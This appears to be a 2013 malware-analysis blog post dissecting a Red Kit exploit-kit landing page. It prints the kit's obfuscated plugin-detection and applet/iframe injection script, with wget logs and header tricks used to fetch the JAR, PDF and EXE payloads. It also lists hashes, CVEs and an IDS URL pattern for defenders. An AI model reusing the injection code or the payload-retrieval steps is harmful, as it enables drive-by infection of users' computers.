                            e[b[a]] = b[a + 1]
                        }
                    }
                    for (a in e) {
                        c = e[a];
                        if (c && c[b[0]] == 1) {
                            this.initObj(c, b)
                        }
                    }
                }
            },
            initScript: function () {
                var c = this,
                    a = navigator,
                    e = "/",
                    f, i = a.userAgent || "",
                    g = a.vendor || "",
                    b = a.platform || "",
                    h = a.product || "";
                c.initObj(c, ["$", c]);
                for (f in c.Plugins) {
                    if (c.Plugins[f]) {
                        c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
                    }
                };
                c.OS = 100;
                if (b) {
                    var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
                    for (f = d.length - 2; f >= 0; f = f - 2) {
                        if (d[f] && new RegExp(d[f], "i").test(b)) {
                            c.OS = d[f + 1];
                            break
                        }
                    }
                }
                c.convertFuncs(c);
                c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0] || document.body || null);
                c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
                c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
                c.ActiveXEnabled = false;
                if (c.isIE) {
                    var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
                    for (f = 0; f < j.length; f++) {
                        if (c.getAXO(j[f])) {
                            c.ActiveXEnabled = true;
                            break
                        }
                    }
                }
                c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
                c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
                c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
                c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
                c.isSafari = ((/Apple/i).test(g) || (!g && !c.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
                c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(RegExp.$1) : null;
                c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
                c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
                c.addWinEvent("load", c.handler(c.runWLfuncs, c))
            },
            init: function (d) {
                var c = this,
                    b, d, a = {
                        status: -3,
                        plugin: 0
                    };
                if (!c.isString(d)) {
                    return a
                }
                if (d.length == 1) {
                    c.getVersionDelimiter = d;
                    return a
                }
                d = d.toLowerCase().replace(/\s/g, "");
                b = c.Plugins[d];
                if (!b || !b.getVersion) {
                    return a
                }
                a.plugin = b;
                if (!c.isDefined(b.installed)) {
                    b.installed = null;
                    b.version = null;
                    b.version0 = null;
                    b.getVersionDone = null;
                    b.pluginName = d
                }
                c.garbage = false;
                if (c.isIE && !c.ActiveXEnabled && d !== "java") {
                    a.status = -2;
                    return a
                }
                a.status = 1;
                return a
            },
            fPush: function (b, a) {
                var c = this;
                if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
                    a.push(b)
                }
            },
            callArray: function (b) {
                var c = this,
                    a;
                if (c.isArray(b)) {
                    for (a = 0; a < b.length; a++) {
                        if (b[a] === null) {
                            return
                        }
                        c.call(b[a]);
                        b[a] = null
                    }
                }
            },
            call: function (c) {
                var b = this,
                    a = b.isArray(c) ? c.length : -1;
                if (a > 0 && b.isFunc(c[0])) {
                    c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
                } else {
                    if (b.isFunc(c)) {
                        c(b)
                    }
                }
            },
            getVersionDelimiter: ",",
            $$getVersion: function (a) {
                return function (g, d, c) {
                    var e = a.init(g),
                        f, b, h = {};
                    if (e.status < 0) {
                        return null
                    };
                    f = e.plugin;
                    if (f.getVersionDone != 1) {
                        f.getVersion(null, d, c);
                        if (f.getVersionDone === null) {
                            f.getVersionDone = 1
                        }
                    }
                    a.cleanup();
                    b = (f.version || f.version0);
                    b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
                    return b
                }
            },
            cleanup: function () {},
            addWinEvent: function (d, c) {
                var e = this,
                    a = window,
                    b;
                if (e.isFunc(c)) {
                    if (a.addEventListener) {
                        a.addEventListener(d, c, false)
                    } else {
                        if (a.attachEvent) {
                            a.attachEvent("on" + d, c)
                        } else {
                            b = a["on" + d];
                            a["on" + d] = e.winHandler(c, b)
                        }
                    }
                }
            },
            winHandler: function (d, c) {
                return function () {
                    d();
                    if (typeof c == "function") {
                        c()
                    }
                }
            },
            WLfuncs0: [],
            WLfuncs: [],
            runWLfuncs: function (a) {
                var b = {};
                a.winLoaded = true;
                a.callArray(a.WLfuncs0);
                a.callArray(a.WLfuncs);
                if (a.onDoneEmptyDiv) {
                    a.onDoneEmptyDiv()
                }
            },
            winLoaded: false,
            $$onWindowLoaded: function (a) {
                return function (b) {
                    if (a.winLoaded) {
                        a.call(b)
                    } else {
                        a.fPush(b, a.WLfuncs)
                    }
                }
            },
            div: null,
            divID: "plugindetect",
            divWidth: 50,
            pluginSize: 1,
            emptyDiv: function () {
                var d = this,
                    b, h, c, a, f, g;
                if (d.div && d.div.childNodes) {
                    for (b = d.div.childNodes.length - 1; b >= 0; b--) {
                        c = d.div.childNodes[b];
                        if (c && c.childNodes) {
                            for (h = c.childNodes.length - 1; h >= 0; h--) {
                                g = c.childNodes[h];
                                try {
                                    c.removeChild(g)
                                } catch (f) {}
                            }
                        }
                        if (c) {
                            try {
                                d.div.removeChild(c)
                            } catch (f) {}
                        }
                    }
                }
                if (!d.div) {
                    a = document.getElementById(d.divID);
                    if (a) {
                        d.div = a
                    }
                }
                if (d.div && d.div.parentNode) {
                    try {
                        d.div.parentNode.removeChild(d.div)
                    } catch (f) {}
                    d.div = null
                }
            },
            DONEfuncs: [],
            onDoneEmptyDiv: function () {
                var c = this,
                    a, b;
                if (!c.winLoaded) {
                    return
                }
                if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
                    return
                }
                for (a in c) {
                    b = c[a];
                    if (b && b.funcs) {
                        if (b.OTF == 3) {
                            return
                        }
                        if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
                            return
                        }
                    }
                }
                for (a = 0; a < c.DONEfuncs.length; a++) {
                    c.callArray(c.DONEfuncs)
                }
                c.emptyDiv()
            },
            getWidth: function (c) {
                if (c) {
                    var a = c.scrollWidth || c.offsetWidth,
                        b = this;
                    if (b.isNum(a)) {
                        return a
                    }
                }
                return -1
            },
            getTagStatus: function (m, g, a, b) {
                var c = this,
                    f, k = m.span,
                    l = c.getWidth(k),
                    h = a.span,
                    j = c.getWidth(h),
                    d = g.span,
                    i = c.getWidth(d);
                if (!k || !h || !d || !c.getDOMobj(m)) {
                    return -2
                }
                if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
                    return 0
                }
                if (l >= i) {
                    return -1
                }
                try {
                    if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
                        if (!m.winLoaded && c.winLoaded) {
                            return 1
                        }
                        if (m.winLoaded && c.isNum(b)) {
                            if (!c.isNum(m.count)) {
                                m.count = b
                            }
                            if (b - m.count >= 10) {
                                return 1
                            }
                        }
                    }
                } catch (f) {}
                return 0
            },
            getDOMobj: function (g, a) {
                var f, d = this,
                    c = g ? g.span : 0,
                    b = c && c.firstChild ? 1 : 0;
                try {
                    if (b && a) {
                        d.div.focus()
                    }
                } catch (f) {}
                return b ? c.firstChild : null
            },
            setStyle: function (b, g) {
                var f = b.style,
                    a, d, c = this;
                if (f && g) {
                    for (a = 0; a < g.length; a = a + 2) {
                        try {
                            f[g[a]] = g[a + 1]
                        } catch (d) {}
                    }
                }
            },
            insertDivInBody: function (a, i) {
                var h, f = this,
                    b = "pd33993399",
                    d = null,
                    j = i ? window.top.document : window.document,
                    c = "<",
                    g = (j.getElementsByTagName("body")[0] || j.body);
                if (!g) {
                    try {
                        j.write(c + 'div id="' + b + '">o' + c + "/div>");
                        d = j.getElementById(b)
                    } catch (h) {}
                }
                g = (j.getElementsByTagName("body")[0] || j.body);
                if (g) {
                    if (g.firstChild && f.isDefined(g.insertBefore)) {
                        g.insertBefore(a, g.firstChild)
                    } else {
                        g.appendChild(a)
                    }
                    if (d) {
                        g.removeChild(d)
                    }
                } else {}
            },
            insertHTML: function (g, b, h, a, l) {
                var m, n = document,
                    k = this,
                    q, p = n.createElement("span"),
                    o, j, f = "<";
                var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
                var i = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
                if (!k.isDefined(a)) {
                    a = ""
                }
                if (k.isString(g) && (/[^\s]/).test(g)) {
                    g = g.toLowerCase().replace(/\s/g, "");
                    q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
                    q += 'style="' + i + 'display:inline;" ';
                    for (o = 0; o < b.length; o = o + 2) {
                        if (/[^\s]/.test(b[o + 1])) {
                            q += b[o] + '="' + b[o + 1] + '" '
                        }
                    }
                    q += ">";
                    for (o = 0; o < h.length; o = o + 2) {
                        if (/[^\s]/.test(h[o + 1])) {
                            q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
                        }
                    }
                    q += a + f + "/" + g + ">"
                } else {
                    q = a
                }
                if (!k.div) {
                    j = n.getElementById(k.divID);
                    if (j) {
                        k.div = j
                    } else {
                        k.div = n.createElement("div");
                        k.div.id = k.divID
                    }
                    k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize + 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
                    if (!j) {
                        k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
                        k.insertDivInBody(k.div)
                    }
                }
                if (k.div && k.div.parentNode) {
                    k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
                    try {
                        p.innerHTML = q
                    } catch (m) {};
                    try {
                        k.div.appendChild(p)
                    } catch (m) {};
                    return {
                        span: p,
                        winLoaded: k.winLoaded,
                        tagName: g,
                        outerHTML: q
                    }
                }
                return {
                    span: null,
                    winLoaded: k.winLoaded,
                    tagName: "",
                    outerHTML: q
                }
            },
            Plugins: {
                adobereader: {
                    mimeType: "application/pdf",
                    navPluginObj: null,
                    progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
                    classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
                    INSTALLED: {},
                    pluginHasMimeType: function (d, c, f) {
                        var b = this,
                            e = b.$,
                            a;
                        for (a in d) {
                            if (d[a] && d[a].type && d[a].type == c) {
                                return 1
                            }
                        }
                        if (e.getMimeEnabledPlugin(c, f)) {
                            return 1
                        }
                        return 0
                    },
                    getVersion: function (l, j) {
                        var g = this,
                            d = g.$,
                            i, f, m, n, b = null,
                            h = null,
                            k = g.mimeType,
                            a, c;
                        if (d.isString(j)) {
                            j = j.replace(/\s/g, "");
                            if (j) {
                                k = j
                            }
                        } else {
                            j = null
                        }
                        if (d.isDefined(g.INSTALLED[k])) {
                            g.installed = g.INSTALLED[k];
                            return
                        }
                        if (!d.isIE) {
                            a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
                            if (g.getVersionDone !== 0) {
                                g.getVersionDone = 0;
                                b = d.getMimeEnabledPlugin(g.mimeType, a);
                                if (!j) {
                                    n = b
                                }
                                if (!b && d.hasMimeType(g.mimeType)) {
                                    b = d.findNavPlugin(a, 0)
                                }
                                if (b) {
                                    g.navPluginObj = b;
                                    h = d.getNum(b.description) || d.getNum(b.name);
                                    h = d.getPluginFileVersion(b, h);
                                    if (!h && d.OS == 1) {
                                        if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
                                            h = "9"
                                        } else {
                                            if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
                                                h = "8"
                                            }
                                        }
                                    }
                                }
                            } else {
                                h = g.version
                            }
                            if (!d.isDefined(n)) {
                                n = d.getMimeEnabledPlugin(k, a)
                            }
                            g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
                        } else {
                            b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
                            c = /=\s*([\d\.]+)/g;
                            try {
                                f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
                                for (m = 0; m < 5; m++) {
                                    if (c.test(f) && (!h || RegExp.$1 > h)) {
                                        h = RegExp.$1
                                    }
                                }
                            } catch (i) {}
                            g.installed = h ? 1 : (b ? 0 : -1)
                        }
                        if (!g.version) {
                            g.version = d.formatNum(h)
                        }
                        g.INSTALLED[k] = g.installed
                    }
                },
                zz: 0
            }
        };
    </script>
    
    <body>
        <script>
            document.write('<applet archive="hxxp: //fgccnc.org/332.j&#97;r" code="Vlast.class"><param name="elitken" value="l16r3o5uvme2r3o5uvtcwr3o5uvhair3o5uv.ecr3o5uv3hyr3o5uv3vcr3o5uv/gar3o5uvgo2r3o5uvrabr3o5uvoqkr3o5uv.dar3o5uvch3r3o5uvncrr3o5uvchkr3o5uvch9r3o5uvg3tr3o5uvf14r3o5uv/q9r3o5uv/brr3o5uv:rer3o5uvpovr3o5uvtzrr3o5uvtalr3o5uvhlzr3o5uv"></applet>');
            document.write('<applet archive="hxxp: //fgccnc.org/887.j&#97;r" code="Vlast.class"><param name="elitken" value="l80r3o5uvm16r3o5uvtm6r3o5uvhrcr3o5uv.mcr3o5uv1gwr3o5uv4zlr3o5uv/kwr3o5uvgvar3o5uvr1wr3o5uvo2or3o5uv.56r3o5uvcidr3o5uvn3yr3o5uvccvr3o5uvcsar3o5uvgm4r3o5uvfpgr3o5uv/tor3o5uv/61r3o5uv:o4r3o5uvpkcr3o5uvt1gr3o5uvt59r3o5uvhhmr3o5uv"></applet>');
        </script>
        <script type="text/javascript">
            var biiz = "s" + "r" + "c";
            var makral = false;


            function tksmke() {
                otrtorol.setAttribute("width", 25);
                otrtorol.setAttribute("height", 22);
                document.body.appendChild(otrtorol);
                otrtorol.setAttribute(biiz, "hxxp: //fgccnc.org/987.pdf");
            }

            function etract(a, b) {
                if ((a == 8 && b < 4) || (a == 9 && b < 4)) makral = true;
            }

            var otrtorol = document.createElement("ifra" + "me");

            dtYWu.initScript();


            function ygutiy(lite, arwtawt) {
                if (arwtawt) {
                    arwtawt = arwtawt.split(',');
                    etract(arwtawt[0], arwtawt[1]);
                }
            }

            ygutiy(1, dtYWu.getVersion("AdobeReader"));
            while (makral) {
                tksmke();
                makral = false;
            }
        </script>
    </body>

</html>

The most interesting are the links to the exploit files

document.write('<applet archive="hxxp: //fgccnc.org/332.jar" code="Vlast.class"><param name="elitken" value="l16r3o5uvme2r3o5uvtcwr3o5uvhair3o5uv.ecr3o5uv3hyr3o5uv3vcr3o5uv/gar3o5uvgo2r3o5uvrabr3o5uvoqkr3o5uv.dar3o5uvch3r3o5uvncrr3o5uvchkr3o5uvch9r3o5uvg3tr3o5uvf14r3o5uv/q9r3o5uv/brr3o5uv:rer3o5uvpovr3o5uvtzrr3o5uvtalr3o5uvhlzr3o5uv"></applet>');

            document.write('<applet archive="hxxp: //fgccnc.org/887.jar" code="Vlast.class"><param name="elitken" value="l80r3o5uvm16r3o5uvtm6r3o5uvhrcr3o5uv.mcr3o5uv1gwr3o5uv4zlr3o5uv/kwr3o5uvgvar3o5uvr1wr3o5uvo2or3o5uv.56r3o5uvcidr3o5uvn3yr3o5uvccvr3o5uvcsar3o5uvgm4r3o5uvfpgr3o5uv/tor3o5uv/61r3o5uv:o4r3o5uvpkcr3o5uvt1gr3o5uvt59r3o5uvhhmr3o5uv"></applet>');

        </script>

        <script type="text/javascript">

            var biiz = "s" + "r" + "c";

            var makral = false;





            function tksmke() {

                otrtorol.setAttribute("width", 25);

                otrtorol.setAttribute("height", 22);

                document.body.appendChild(otrtorol);

                otrtorol.setAttribute(biiz, "hxxp: //fgccnc.org/987.pdf");

            }

2 JAR's and ome PDF: 332.jar, 887.jar and 987.pdf

2. Fetch the exploit files, -NOT

--2013-03-10 19:57:03--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:57:57 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:57:05 ERROR 404: Not Found.

--2013-03-10 19:58:32--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:59:26 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:58:34 ERROR 404: Not Found.

--2013-03-10 19:58:53--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:59:47 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:58:56 ERROR 404: Not Found.

Nope! 404's all over my screen. Not so easy to pick these low hanging fruit after all...
Fortunately my GOOGLE fu is with me and I found a great hint over @ day by day blog

3. Header FU

Add these headers to the request:

content-type: application/x-java-archive
Accept: text/html, image/gif, *; q=.2, */*; q=.2

That would have taken me ages to figure out, but now I'm happy

4. Fetch the exploit files - for real

--2013-03-10 20:02:13--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:03:08 GMT
  Server: Apache
  Content-Disposition: inline; filename=e55de572.jar
  Content-Length: 13798
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/java-archive
Length: 13798 (13K) [application/java-archive]
Saving to: `332.jar'

     0K .......... ...                                        100% 2.65M=0.005s

2013-03-10 20:02:15 (2.65 MB/s) - `332.jar' saved [13798/13798]

--2013-03-10 20:03:30--  hxxp: //fgccnc.org/887.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:04:25 GMT
  Server: Apache
  Content-Disposition: inline; filename=31d64b95.jar
  Content-Length: 13731
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/java-archive
Length: 13731 (13K) [application/java-archive]
Saving to: `887.jar'

     0K .......... ...                                        100% 4.37M=0.003s

2013-03-10 20:03:32 (4.37 MB/s) - `887.jar' saved [13731/13731]

--2013-03-10 20:04:26--  hxxp: //fgccnc.org/987.pdf
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:05:20 GMT
  Server: Apache
  Content-Disposition: inline; filename=bb43a521.pdf
  Content-Length: 5531
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/pdf
Length: 5531 (5.4K) [application/pdf]
Saving to: `987.pdf'

     0K .....                                                 100%  113M=0s

2013-03-10 20:04:28 (113 MB/s) - `987.pdf' saved [5531/5531]

Excellent. The files are downloaded. Time for a quick analysis:

5. Quick analysis

Lets figure out what the bad guys wanted to send to us and what payload they really wanted to hand over to the poor Maddonna fans.

332.jar
MD5: 913f1d801abd70a483888ea20aad3a73
Virustotal: 5/45 https://www.virustotal.com/en/file/08759205ed8a2030e659e2ee843c56d13fadd18cdb1a5e1a077bd4e8422dd035/analysis/1362953517/
CVE-2012-1723

887.jar
MD5: 60de68f7919603650a50633f82da7c9b
Virustotal: 6/45 https://www.virustotal.com/en/file/912991ab959148febe90297815dd3025507bad10ffebe7555dfddf7708dd6566/analysis/1362953559/

987.pdf
MD5: 67c5a657b54cf4dc9cae74bfb763a285
Virustotal: 2/45 https://www.virustotal.com/en/file/7be4238988221318f2ca6c41419fd452d892d0af62efa9834d55411900ecfbc3/analysis/1362953625/
WepaWet: Malicious http://wepawet.iseclab.org/view.php?hash=67c5a657b54cf4dc9cae74bfb763a285&type=js
CVE-2010-0188

As wepawet is kind enough to give us the URL to the EXE:

6. Fetching the final payload

--2013-03-10 20:08:26--  hxxp: //fgccnc.org/62.html
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:09:21 GMT
  Server: Apache
  Expires: Mon, 20 Aug 2002 02:00:00 GMT
  Pragma: no-cache
  Cache-Control: no-cache
  Content-Transfer-Encoding: binary
  Content-Disposition: inline; filename=setup.exe
  Content-Length: 32128
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/octet-stream
Length: 32128 (31K) [application/octet-stream]
Saving to: `62.exe'

     0K .......... .......... .......... .                    100% 51.3K=0.6s
2013-03-10 20:08:29 (51.3 KB/s) - `62.exe' saved [32128/32128]

62.exe AKA setup.exe
MD5:5b7c57fb83f0e47821b97fb93f055716
Virustotal: 0/45

Hmmmf; 0/45 @ VT and no MZ first in the file. Need too look more into this...

7. IDS signatures

As a sidestep writing IDS signatures for calls to 332.jar, 887.jar, 987.pdf, 62.html and receiving setup.exe and the URL pattern [a-z][a-z][a-z][a-z]\.html\?.=[0-9][0-9][0-9][0-9][0-9][0-9] should give you better sleep at night if you work with detection and intrusion prevention / detection.


Still some fun left here, but no time today. Hopefully tomorrow...

Update 2013-03-13
Well I just wanted to revisit my .exe file to figure out what was wrong. Since I had not analyzed this properly I thought that there was some XOR scheme or encryption/obfuscation I had owerlooked.

So I started up my remnux box and got:

First densityscout with a low value indicating that this is pretty random bytes. So it is eather some kind of encryption or a rotating XOR. xorsearch told me no single byte xor match eather :(

Then I went back to my log for the fetch and noticed that I had used "Java" as user agent and I remembered that I then will get encrypted .exe files from Red Kit.

Then everything went smoother and here is the quick analysis:
setup.exe
MD5: 06c907401d42dc218f3ca9b83b4d07ce
Virustotal: 28/45


Great post by n3mes1s covering analysis og the PDF as well.
PS: seems like we only need the "Accept: " header for the PDF fetch,


Happy Red KIT EK malware files stealing!


Post publish reading:
Kahu Security - "Digging deeper into redkit"
Malwageddon - "RedKit: Lights! Camera! Action --- Part 2"
malforsec - "Redkit payload decryption"